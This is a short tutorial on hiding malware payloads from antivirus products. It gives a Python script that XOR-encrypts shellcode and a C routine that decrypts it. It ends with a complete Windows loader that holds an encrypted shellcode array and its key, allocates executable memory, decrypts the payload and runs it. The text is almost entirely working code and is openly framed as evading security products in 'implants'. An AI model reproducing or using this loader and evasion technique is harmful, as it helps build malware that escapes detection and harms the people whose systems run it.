Encrypting Strings

Strings are a big indicator of malware and are a big target of most AV's and security products. Here we will make use of encrypting your strings and shellcode to evade detection.

We will use XOR encryption to hide our payloads. I have stolen a xor encryptor script from here:

charlotte/charlotte.py at main · 9emin1/charlotteGitHub

This takes a shellcode bin file and xor encrypts it with a random key.

import sys
import random
import string
import os
import time



def get_random_string():
    # With combination of lower and upper case
    length = random.randint(8, 15)
    result_str = ''.join(random.choice(string.ascii_letters) for i in range(length))
    # print random string
    return result_str

def xor(data):
    
    key = get_random_string()
    l = len(key)
    output_str = ""

    for i in range(len(data)):
        current = data[i]
        current_key = key[i % len(key)]
        o = lambda x: x if isinstance(x, int) else ord(x) # handle data being bytes not string
        output_str += chr(o(current) ^ ord(current_key))

    ciphertext = '{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in output_str) + ' };'
    print(ciphertext)
    print(key)

try:
   plain = open(sys.argv[1], "rb").read()
except:
   print("Failed to read payload file")

xor(plain)

If you pass your file to this script, you should get a key and your encrypted shellcode in a byte array.

To decrypt this, we can use this simple C function in our implants:

void XOR(char* data, size_t data_len, char* key, size_t key_len) { // https://github.com/9emin1/charlotte/blob/main/template.cpp
	int j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) {
			j = 0;
		}

		data[i] = data[i] ^ key[j];
		j++;
	}
}

Example of using this XOR function is:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[] = { 0x86, 0x32, 0xda, 0x95, 0xb1, 0xbb, 0x82, 0x4c, 0x77, 0x7a, 0x35, 0x4, 0xe, 0x2a, 0x28, 0x8, 0x27, 0x9, 0x62, 0x90, 0x29, 0x3f, 0xf1, 0x26, 0x35, 0x7, 0xf1, 0x28, 0x41, 0x39, 0xca, 0x1, 0x62, 0x4, 0xfc, 0x8, 0x24, 0x1d, 0x40, 0xcd, 0x30, 0x13, 0x3c, 0x70, 0x9a, 0xa, 0x7d, 0xb7, 0xd6, 0x48, 0x34, 0x33, 0x78, 0x56, 0x79, 0x30, 0x80, 0x9a, 0x4f, 0xd, 0x76, 0xbb, 0x96, 0xb8, 0x1d, 0x3b, 0x2b, 0x11, 0xfa, 0x13, 0x73, 0xc9, 0xe, 0x4b, 0x32, 0x75, 0x85, 0xc4, 0xfa, 0xf2, 0x59, 0x71, 0x41, 0x1b, 0xc7, 0x8c, 0x3, 0x1d, 0x3c, 0x54, 0x9f, 0x2a, 0xf1, 0x11, 0x69, 0x5, 0xd8, 0x2, 0x6c, 0x3e, 0x7b, 0xa4, 0xb6, 0x19, 0x32, 0x85, 0x90, 0x30, 0xca, 0x67, 0xca, 0x4, 0x76, 0xac, 0x39, 0x64, 0x86, 0x32, 0x4b, 0x99, 0xdd, 0x0, 0x92, 0x8b, 0x41, 0x36, 0x7b, 0xb5, 0x6d, 0xaf, 0xf, 0x8b, 0x15, 0x72, 0xd, 0x77, 0x4a, 0x9, 0x4e, 0xab, 0x1, 0x8d, 0x17, 0x3e, 0xf1, 0x19, 0x55, 0x8, 0x52, 0x92, 0x2a, 0x36, 0xf1, 0x78, 0x1d, 0xb, 0xf1, 0x3a, 0x45, 0x38, 0x40, 0x83, 0x3, 0xc7, 0x73, 0xf2, 0x3c, 0x54, 0x9f, 0x3b, 0x22, 0x18, 0x29, 0x1f, 0xa, 0x18, 0xd, 0x2f, 0x3b, 0x2d, 0x14, 0x15, 0x32, 0xf9, 0xb5, 0x51, 0x0, 0x1, 0xbd, 0xac, 0x2f, 0x3b, 0x2d, 0xf, 0x7, 0xf1, 0x68, 0xb0, 0x26, 0xbe, 0xac, 0xbd, 0x11, 0x3f, 0xc0, 0x75, 0x55, 0x4f, 0x7a, 0x7a, 0x59, 0x71, 0x41, 0x1b, 0xcf, 0xc1, 0x76, 0x7b, 0x74, 0x55, 0xe, 0xc0, 0x4b, 0xd2, 0x1e, 0xc6, 0xac, 0x97, 0xf7, 0x97, 0x67, 0x5e, 0x5f, 0xe, 0xc0, 0xdc, 0xcc, 0xcc, 0xdc, 0xac, 0x97, 0x4, 0xf4, 0xbe, 0x5c, 0x69, 0x49, 0x6, 0x70, 0xd9, 0x8a, 0xa1, 0x26, 0x47, 0xf7, 0x30, 0x69, 0x6, 0x3a, 0x25, 0x7a, 0x23, 0x18, 0xf8, 0x9b, 0xac, 0x97, 0x2f, 0x16, 0x16, 0x17, 0x7b, 0x2a, 0x2, 0x1f, 0x59 };
int pay_len = sizeof(shellcode);

void XOR(char* data, size_t data_len, char* key, size_t key_len) { // https://github.com/9emin1/charlotte/blob/main/template.cpp
	int j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) {
			j = 0;
		}

		data[i] = data[i] ^ key[j];
		j++;
	}
}


int main(void) {
	char key[] = "zzYqASBLwztUO";
	void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	XOR((char*)shellcode, pay_len, key, sizeof(key));


	memcpy(exec, shellcode, sizeof(shellcode));
	getchar();
	int (*run)() = (int(*)())(void*)exec;
	run();
	return 0;
}